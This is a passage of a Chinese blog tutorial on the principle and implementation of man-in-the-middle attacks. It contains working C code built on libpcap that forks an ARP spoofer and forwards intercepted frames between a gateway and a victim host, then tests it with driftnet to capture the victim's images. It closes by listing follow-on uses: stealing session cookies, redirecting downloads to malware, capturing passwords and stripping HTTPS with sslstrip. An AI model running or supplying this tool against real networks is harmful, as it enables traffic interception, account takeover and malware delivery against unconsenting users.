192 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
193 {
194   int i;
195   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
196   unsigned int    sendTimes=1;
197   const uint16_t  etherProto=0x0800;
198   const char    * dev=mitmParaPtr->devMitm;
199   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
200   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
201   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
202   const uint8_t * A_IP=mitmParaPtr->ip_A;
203   const uint8_t * B_IP=mitmParaPtr->ip_B;
204   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
205 
206   if (
207        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
208        //&& 
209        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
210      )
211   { // packet: A send to B
212      printf(" :) ether src A && ip dst B\n");
213      BuildAndSendEthernetPacket(dev,sendTimes,
214                 ether_Bhost,ether_Mhost,
215                 //dst_mac,  src_mac,
216                                 etherProto,packet+14,pkthdr->len-14
217                                );
218   } 
219   else if (
220        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
221        //&& 
222        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
223      )
224   { // packet: B send to A
225      printf("ether src B && ip dst A\n");
226      BuildAndSendEthernetPacket(dev,sendTimes,
227                 ether_Ahost,ether_Mhost,
228                 //dst_mac,  src_mac,
229                 etherProto,packet+14,pkthdr->len-14
230                                );
231   }  
232 }
233 
234 
235 int mitm_forwarder(
236        const uint8_t * ip_A, const uint8_t * mac_A,
237       const uint8_t * ip_B, const uint8_t * mac_B,
238       const uint8_t * mac_M,const char * BPF_filterStr,
239           const char * devMitm
240         )
241 //BPF_filterStr: ether dst mac_M  and ip  
242 {
243   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
244   struct bpf_program filter;
245 
246   struct MITM_para mitmPara;
247 
248   mitmPara.ip_A=ip_A;
249   mitmPara.mac_A=mac_A;
250 
251   mitmPara.ip_B=ip_B;
252   mitmPara.mac_B=mac_B;
253 
254   mitmPara.mac_M=mac_M;
255 
256   mitmPara.BPF_filterStr=BPF_filterStr;
257   mitmPara.devMitm=devMitm;  
258 
259   /* get a device */
260   devStr = pcap_lookupdev(errBuf);
261   
262   if(devStr)
263   {
264     printf("success: device: %s\n", devStr);
265   }
266   else
267   {
268     printf("error: %s\n", errBuf);
269     exit(1);
270   }
271   
272   /* open a device, wait until a packet arrives */
273   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
274   
275   if(!device)
276   {
277     printf("error: pcap_open_live(): %s\n", errBuf);
278     exit(1);
279   }
280   // ether dst 00:11:22:33:44:55  and ip
281   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
282   pcap_setfilter(device ,&filter );
283   /* wait loop forever */
284   pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
285   
286   pcap_close(device);
287 
288   return 0;  
289 }
290 
291 
292 /*
293         gw            kali
294    192.168.1.1            192.168.1.108
295 14:E6:E4:94:B4:D6       00:7B:05:03:8E:90
296         A                        B
297 
298              00:11:22:33:44:55
299                     M
300 
301 */
302 
303 void main()
304 
305 {
306     uint8_t ip_A[4]={192,168,1,1};
307     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
308     
309     uint8_t ip_B[4]={192,168,1,31};
310     uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26};
311     
312     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
313     
314     //BPF_filterStr: ether dst mac_M  and ip
315     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
316     char * devMitm="eth0";
317 
318   //local
319   pid_t sonPid;
320   
321   sonPid=fork();
322   if( sonPid==-1 )
323   {//failure
324     printf("failure:mitm fork error :( \n");
325   }
326   else if(sonPid==0)
327   {//child
328     printf("child : pid:%d:)\n",getpid());
329     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
330   }
331   else
332   {//parent
333     printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
334     sleep(2);
335     mitm_forwarder(
336        ip_A,mac_A,
337       ip_B,mac_B,
338       mac_M,BPF_filterStr,
339           devMitm
340         );
341   }
342 }
View Code

 

  测试:

    kali        GW

        Ubuntu

  如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:

~# driftnet -i eth0

  而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:

中间人攻击的原理与实现_第7张图片   

  中间人攻击的可怕之处:

  1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;  

  2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;

  3.截获已知认证协议的账户、密码;

  4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;

  5.屏蔽或者重定向指定的网络地址;

   ……

 

 

你可能感兴趣的:(原理)